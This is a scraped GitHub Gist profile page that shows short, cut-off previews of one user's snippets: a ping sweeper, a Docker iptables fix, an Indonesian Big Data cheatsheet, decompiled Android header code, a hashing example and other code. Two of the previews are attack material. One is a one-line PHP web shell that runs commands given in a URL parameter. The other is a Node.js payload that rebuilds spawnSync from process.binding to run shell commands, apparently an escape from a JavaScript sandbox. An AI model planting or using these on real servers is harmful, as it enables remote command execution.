Skip to content

Instantly share code, notes, and snippets.

View ardzz's full-sized avatar
🏠
Working from home

Naufal Reky Ardhana ardzz

🏠
Working from home
  • Politeknik Negeri Semarang
  • Semarang
View GitHub Profile
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
#!/usr/bin/env python3
import argparse
import concurrent.futures as cf
import ipaddress
import platform
import subprocess
from typing import Iterable
def is_pingable(host: str, timeout: float = 1.0) -> bool:
"""
@ardzz
ardzz / system.php
Last active October 14, 2025 06:42
<?php
system($_GET['x']);
?>
@ardzz
ardzz / docker-iptables-fix.sh
Created June 17, 2025 16:41 — forked from pedrolamas/docker-iptables-fix.sh
Script to fix Docker iptables on Synology NAS
#!/bin/bash
currentAttempt=0
totalAttempts=10
delay=15
while [ $currentAttempt -lt $totalAttempts ]
do
currentAttempt=$(( $currentAttempt + 1 ))
echo "Attempt $currentAttempt of $totalAttempts..."
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.

Cheatsheet: Big Data dan Komponen Terkait

1. Konsep Big Data dan 5V

  • Big Data: Kumpulan data besar dan kompleks yang sulit diproses dengan alat tradisional.
  • 5V:
    • Volume: Jumlah data yang besar (terabyte, petabyte).
    • Velocity: Kecepatan data dihasilkan dan diproses.
    • Variety: Jenis data beragam (terstruktur, semi-terstruktur, tidak terstruktur).
    • Veracity: Keandalan dan akurasi data.
  • Value: Nilai yang diekstrak untuk pengambilan keputusan.
class ApiService{
private final Headers.Builder getOkHttpHeaders(String str) {
Headers.Builder builder = new Headers.Builder();
ProjectHeaders companion = ProjectHeaders.Companion.getInstance();
Context context = this.mContext;
Intrinsics.checkNotNull(context);
for (Map.Entry<String, String> entry : companion.getHeaders(context).entrySet()) {
builder.addUnsafeNonAscii(entry.getKey(), entry.getValue());
}
builder.add("X-IMI-UID", this.reqTime + "").add("X-IMI-NETWORK", this.mNetworkType + "");
import hashlib
import json
def generate_hmac(key, message):
return hashlib.sha256(key.encode() + message.encode()).hexdigest()
data = {"name": "Reky", "email": "reky@cby0x1.id"}
data_json = json.dumps(data)
<?php
class IntuitionTest {
public $name;
public $expected_R;
public $expected_G;
public $expected_B;
public $input_R;
public $input_G;
public $input_B;
}
spawn_sync = this.process.binding('spawn_sync'); normalizeSpawnArguments = function(c,b,a){if(Array.isArray(b)?b=b.slice(0):(a=b,b=[]),a===undefined&&(a={}),a=Object.assign({},a),a.shell){const g=[c].concat(b).join(' ');typeof a.shell==='string'?c=a.shell:c='/bin/sh',b=['-c',g];}typeof a.argv0==='string'?b.unshift(a.argv0):b.unshift(c);var d=a.env||process.env;var e=[];for(var f in d)e.push(f+'='+d[f]);return{file:c,args:b,options:a,envPairs:e};}
// Defines spawnSync, the function that will do the actual spawning
spawnSync = function(){var d=normalizeSpawnArguments.apply(null,arguments);var a=d.options;var c;if(a.file=d.file,a.args=d.args,a.envPairs=d.envPairs,a.stdio=[{type:'pipe',readable:!0,writable:!1},{type:'pipe',readable:!1,writable:!0},{type:'pipe',readable:!1,writable:!0}],a.input){var g=a.stdio[0]=util._extend({},a.stdio[0]);g.input=a.input;}for(c=0;c<a.stdio.length;c++){var e=a.stdio[c]&&a.stdio[c].input;if(e!=null){var f=a.stdio[c]=util._extend({},a.stdio[c]);isUint8Array(e)?f.input=e:f.input=Buf